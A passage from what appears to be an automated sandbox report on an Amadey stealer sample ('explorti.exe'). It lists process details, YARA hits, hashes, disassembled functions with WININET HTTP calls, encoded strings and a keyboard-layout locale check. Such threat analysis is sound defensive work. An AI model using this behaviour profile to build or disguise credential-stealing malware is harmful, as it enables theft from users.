Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2903364626.0000000004950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2943676002.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:26:00
Start date:	30/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x160000
File size:	1'942'528 bytes
MD5 hash:	44809186C26C6851B67BD98C5498F3CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.3501654035.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.3542337518.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 04B10576 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3634e07d8f7beae89e3905e2874a5799909bce12a9ed3176d2a21f5a8b94e21
Instruction ID: 5e706c0084a62993acaeb72923bb235811399ecc53876c1a699b3bb6246a74d8
Opcode Fuzzy Hash: f3634e07d8f7beae89e3905e2874a5799909bce12a9ed3176d2a21f5a8b94e21
Instruction Fuzzy Hash: 6421F3E720C250BEB303A6426A509F63F2DE5D733037184E6F44BD6D22F2945ACE6632

Function 04B10638 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 873a5dae866f256a260347467ce69652491300332be71ca37b82350c70b5cd1f
Instruction ID: f6ca0120540fa8e4ec4c5abf82b0e65cedd5eeb26fa6c690ca135d3efd69adf5
Opcode Fuzzy Hash: 873a5dae866f256a260347467ce69652491300332be71ca37b82350c70b5cd1f
Instruction Fuzzy Hash: 7AF0FCFB34C211BF6703B6415A509BA3B2EE6D23303B144F6F40AE7822F2949DC92265

Function 04B106A6 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1c323d5f2b679f5de773eed7a07779a14da854af9b71a9838fd2fa65ad5ea64
Instruction ID: 8dafb01cdf44f900e30b6e6e40577cd4886514140d1462b6caa462695d16c563
Opcode Fuzzy Hash: b1c323d5f2b679f5de773eed7a07779a14da854af9b71a9838fd2fa65ad5ea64
Instruction Fuzzy Hash: 87F0ACB620C244BFD707BB6148508793F25FAD133036849F6E05AA7C22F220A48D9761

Function 04B1064B Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d853bc2224945ddf5fd33ae645328ff1fbaf99c78acdb1d867cf7de1c67dbe38
Instruction ID: c24b1c02b5f2b3f231e27894303853e14ddaa74f137bab0eb64e06f19d9fef2e
Opcode Fuzzy Hash: d853bc2224945ddf5fd33ae645328ff1fbaf99c78acdb1d867cf7de1c67dbe38
Instruction Fuzzy Hash: BCF059BB208111BF9703B78159A04B93B66FAD17303B040E5B40AB6C27F3649A896361

Function 04B1065D Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 179d742761c723c83c4827f5b9c5ea343193290895e77a02a362d2ba72557653
Instruction ID: ae082c3d1497a6b164a2fc4d221d4c5a52693185c9c76a8cea50f9432ba67883
Opcode Fuzzy Hash: 179d742761c723c83c4827f5b9c5ea343193290895e77a02a362d2ba72557653
Instruction Fuzzy Hash: AAF09EBB20C200FF9703B75194508B93B25FAD123037444F5F41EB6C22F360958D6791

Function 04B1069A Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6c8a94fb4d962528f8751e4ba16538bd4cd0308574febeef33580a99ad6d1d5
Instruction ID: 0d7fee13cbf6df7787290cee8f2e0a03de8059b2cf2fac5b70e73bcb9f7bfad0
Opcode Fuzzy Hash: e6c8a94fb4d962528f8751e4ba16538bd4cd0308574febeef33580a99ad6d1d5
Instruction Fuzzy Hash: 64E026BA204002BF9703B75188604793A26EBD02303A044E4B05AAAC22E360988966A1

Function 04B10725 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b439b2b297b447fe5dec2bac81d29acc11d7835b45f10ef0a24d832f0dd6ce8f
Instruction ID: c71099712c3ec315c7baab8eac0b0a8ad091765e0eedefa5e5b126e3299718c7
Opcode Fuzzy Hash: b439b2b297b447fe5dec2bac81d29acc11d7835b45f10ef0a24d832f0dd6ce8f
Instruction Fuzzy Hash: 38E02B76144202AEDB42BB6084482787B52FB5523475408EAD0A65EC22E25510DE9756

Function 04B106BB Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b62fa1d5c7f1fcc48a538abae5dcc03bba4b81c23ac2599a7ed7610ca530d1b
Instruction ID: 38add299bacb30ed12785e4a04f4afbebd24fd2e2d006a9ce37597709846df4c
Opcode Fuzzy Hash: 8b62fa1d5c7f1fcc48a538abae5dcc03bba4b81c23ac2599a7ed7610ca530d1b
Instruction Fuzzy Hash: DAE0C2F6008701EFD702FF30985505B7F16EE5132430408EDE056A7425D62000868B6A

Function 04B1073B Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2622722c28641ce8c2f55afe5005610100c13379da7c1cdde5765ed51a6633c3
Instruction ID: 6d993bc868eb11c554bbd8da11e942e0c7745973b67f180fb9befc852268c279
Opcode Fuzzy Hash: 2622722c28641ce8c2f55afe5005610100c13379da7c1cdde5765ed51a6633c3
Instruction Fuzzy Hash: 99D023FA5C4C023D6243F72088E068D3906EFE0A6437609D1004C6BC10F465D8CF04D4

Function 04B106DB Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1337228390.0000000004B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b10000_8vZMEr8sm9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7186973b4590d74e77fd86a782e28f5024368c24731a6f992dfac068cbac71ff
Instruction ID: 7ed1c94415bb6c16d756007ad2c693063acf98f777d60ab323e310bdc4898699
Opcode Fuzzy Hash: 7186973b4590d74e77fd86a782e28f5024368c24731a6f992dfac068cbac71ff
Instruction Fuzzy Hash: 08C080F5244B4637674373684CB414D7B51DF4511830509E41458BFD11D551D4898144

Analysis Process: explorti.exePID: 7628, Parent PID: 2376COMMON

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	605
Total number of Limit Nodes:	51

Executed Functions

Function 0016BD30 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(001B8D18,00000000,00000000,00000000,00000000), ref: 0016BDBD
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0016BDE1
HttpOpenRequestA.WININET(?,00000000), ref: 0016BE2B
HttpSendRequestA.WININET(?,00000000), ref: 0016BEEB
InternetReadFile.WININET(?,?,000003FF,?), ref: 0016BF9D
InternetCloseHandle.WININET(?), ref: 0016C077
InternetCloseHandle.WININET(?), ref: 0016C07F
InternetCloseHandle.WININET(?), ref: 0016C087

Strings

Ux1MTw==, xrefs: 0016BE03
UfNm, xrefs: 0016D4E6
aAJTaDE6OpZ=, xrefs: 0016C355
invalid stoi argument, xrefs: 0016E3D4
aAJTazgvOn==, xrefs: 0016C2BB, 0016C513
stoi argument out of range, xrefs: 0016E3CA

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: UfNm$Ux1MTw==$aAJTaDE6OpZ=$aAJTazgvOn==$invalid stoi argument$stoi argument out of range
API String ID: 688256393-1566280232
Opcode ID: bc7f91550d75e3c100aa4dea0fe9da1b5462519dbe5bd0e196eabbdb87ec572e
Instruction ID: d0f57ab7300f7a18ef103e0d21589be8b439dbf3eef74d6ed079edd1b832e04c
Opcode Fuzzy Hash: bc7f91550d75e3c100aa4dea0fe9da1b5462519dbe5bd0e196eabbdb87ec572e
Instruction Fuzzy Hash: 54B1F3B16001189BDB28CF28CC95BAEBB79EF51304F5081ACF908972D2DB759AD0CF95

Function 0016E410 Relevance: 13.5, Strings: 10, Instructions: 1000
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JgNn9TI9, xrefs: 0016E44F
4dd39d, xrefs: 0016FA6E
PzE+, xrefs: 0016E704
246122658369, xrefs: 0016F617, 0016F8F4, 001704C7, 0017087A
ZMs=, xrefs: 001704AA
ZMw=, xrefs: 0017085D
PJ==, xrefs: 0016E475
Zww=, xrefs: 0016F5FD, 0016F8DA
Xt==, xrefs: 0016E9EF, 0016EC36
111, xrefs: 0016F680

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 111$246122658369$4dd39d$JgNn9TI9$PJ==$PzE+$Xt==$ZMs=$ZMw=$Zww=
API String ID: 0-3156695209
Opcode ID: da3b3be678be0f21183838ed0fbdcada86896134c83de8b1c0b70cb83e2f3ef8
Instruction ID: 2c59aebeb39ba1d3f00cbaeb639a308a0bc47c2a6cb16fe9a95b9aacbc8e902b
Opcode Fuzzy Hash: da3b3be678be0f21183838ed0fbdcada86896134c83de8b1c0b70cb83e2f3ef8
Instruction Fuzzy Hash: 5F82E570904248DBEF14DF68C9597DE7FB6AF56304F50818CE819673C2C7B59A88CB92

Function 00166590 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00166630

Strings

JLTlbM==, xrefs: 001666D8
LLNlbM==, xrefs: 00166781
UrSe DMt, xrefs: 0016664C

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: JLTlbM==$LLNlbM==$UrSe DMt
API String ID: 1484870144-2175010088
Opcode ID: 97541fcb03eccfcfac6caa4fb285f82db7cc6f1421950c73349c3c0a4bd2a3e8
Instruction ID: 23be0d634ee82a62310be6b8cd57a89cfff748560d44b3d5fdaf8ff376bfebcb
Opcode Fuzzy Hash: 97541fcb03eccfcfac6caa4fb285f82db7cc6f1421950c73349c3c0a4bd2a3e8
Instruction Fuzzy Hash: CE91DEB1A001189BDB28DF28CC85BEDB779EB55304F4085E9E51997282DB349ED4CFA4

Function 0017D2E8 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 001623BE

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: a3cdce1413c13ce2a84743ecda39043d9985374a05ac2d3ffeb86bf01b2d746d
Instruction ID: 6419e82945b231107b15ededc0962307583dd1c5191ec5cb221842420d5d5850
Opcode Fuzzy Hash: a3cdce1413c13ce2a84743ecda39043d9985374a05ac2d3ffeb86bf01b2d746d
Instruction Fuzzy Hash: 58517DB190060A8BDB25CF94E885BAEBBF5FF18314F24C56AD419EB690D774E980CB50

Function 00173520 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0017422F

Part of subcall function 00177840: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0017792C
Part of subcall function 00177840: __Cnd_destroy_in_situ.LIBCPMT ref: 00177938
Part of subcall function 00177840: __Mtx_destroy_in_situ.LIBCPMT ref: 00177941

Strings

PzE+, xrefs: 00174746, 001747BD, 00174A65, 00174ADC
Ip==, xrefs: 0017366E, 00174CFD
YVTd, xrefs: 00173D90
invalid stoi argument, xrefs: 00172DB9, 00172DC8, 0017422A, 00174E6D
dPWZ, xrefs: 0017539C
PzI+, xrefs: 0017478D, 001748BC, 00174AAC, 00174BDB
dgEZ, xrefs: 001754AB
ZzSZ, xrefs: 00175373
5120, xrefs: 00173A8F, 00173B7A
aPIZ, xrefs: 001754D2
cVIZ, xrefs: 00175467
YQQZ, xrefs: 0017534A
YfcZ, xrefs: 00175417
246122658369, xrefs: 00171E75, 001727BE, 00172A13, 00172A80, 00172E58, 00173343, 001733A4, 00174F0A, 00174F1D, 00174F5F, 00174F69, 001754C4
bV5Z, xrefs: 001752ED
Krkk, xrefs: 0017375F
Zzpl, xrefs: 00173BA9
czEZ, xrefs: 001753C5
YQAZ, xrefs: 001753EE
4dd39d, xrefs: 00175459
bWEZ, xrefs: 00175440
", xrefs: 00173E69
cWI2as==, xrefs: 001746E2
NvWsKw==, xrefs: 00175489
stoi argument out of range, xrefs: 00172DD2, 00172DF0, 00174239, 00174E7C
bAQZ, xrefs: 00175321
ccS=, xrefs: 00176353
ZQ e, xrefs: 00173ABE

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$246122658369$4dd39d$5120$Ip==$Krkk$NvWsKw==$PzE+$PzI+$YQAZ$YQQZ$YVTd$YfcZ$ZQ e$ZzSZ$Zzpl$aPIZ$bAQZ$bV5Z$bWEZ$cVIZ$cWI2as==$ccS=$czEZ$dPWZ$dgEZ$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-1203395681
Opcode ID: 040f2d77466ca6347fd98752bee5660389d17419c877ab1ed9447f093e3ad6e8
Instruction ID: e98cb82c807ba782e679feded21d9bbe3679068090218fe51d71609c7da3b7ce
Opcode Fuzzy Hash: 040f2d77466ca6347fd98752bee5660389d17419c877ab1ed9447f093e3ad6e8
Instruction Fuzzy Hash: 4452F471A00248DBDF18EF78CD4A79DBBB5AF55304F50818CE418A72C2DB759B84CBA2

Function 00174690 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00177840: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0017792C
Part of subcall function 00177840: __Cnd_destroy_in_situ.LIBCPMT ref: 00177938
Part of subcall function 00177840: __Mtx_destroy_in_situ.LIBCPMT ref: 00177941

Part of subcall function 0016BD30: InternetOpenW.WININET(001B8D18,00000000,00000000,00000000,00000000), ref: 0016BDBD
Part of subcall function 0016BD30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0016BDE1
Part of subcall function 0016BD30: HttpOpenRequestA.WININET(?,00000000), ref: 0016BE2B

std::_Xinvalid_argument.LIBCPMT ref: 00174E72

Strings

YQQZ, xrefs: 0017534A
PzE+, xrefs: 00174746, 001747BD, 00174A65, 00174ADC
YfcZ, xrefs: 00175417
246122658369, xrefs: 00174F0A, 00174F1D, 00174F5F, 00174F69, 001754C4
Ip==, xrefs: 0017366E, 00174CFD
bV5Z, xrefs: 001752ED
dPWZ, xrefs: 0017539C
czEZ, xrefs: 001753C5
YQAZ, xrefs: 001753EE
PzI+, xrefs: 0017478D, 001748BC, 00174AAC, 00174BDB
4dd39d, xrefs: 00175459
dgEZ, xrefs: 001754AB
ZzSZ, xrefs: 00175373
aPIZ, xrefs: 001754D2
bWEZ, xrefs: 00175440
cWI2as==, xrefs: 001746E2
cVIZ, xrefs: 00175467
NvWsKw==, xrefs: 00175489
stoi argument out of range, xrefs: 00174239, 00174E7C
bAQZ, xrefs: 00175321
ccS=, xrefs: 00176353, 00176622

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 246122658369$4dd39d$Ip==$NvWsKw==$PzE+$PzI+$YQAZ$YQQZ$YfcZ$ZzSZ$aPIZ$bAQZ$bV5Z$bWEZ$cVIZ$cWI2as==$ccS=$czEZ$dPWZ$dgEZ$stoi argument out of range
API String ID: 2414744145-2107594612
Opcode ID: 60a7bfa4601c4fb690499e1e790cefed9d6f3c4eff61f4de4dec4d41a7b9b070
Instruction ID: 1f5d5b95d396471ef43d10b7bed8c7ac03b5edc847bffc7c0a35cd025b7d3c41
Opcode Fuzzy Hash: 60a7bfa4601c4fb690499e1e790cefed9d6f3c4eff61f4de4dec4d41a7b9b070
Instruction Fuzzy Hash: 1E23E071A002588BEB19DB28CD997ADBB76AF91304F54C1D8E00DAB2C2DB759F84CF51

Function 00165DD0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 00165FEA
0000043f, xrefs: 0016601B
Keyboard Layout\Preload, xrefs: 00165F44
00000419, xrefs: 00165F88
00000422, xrefs: 00165FB9

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
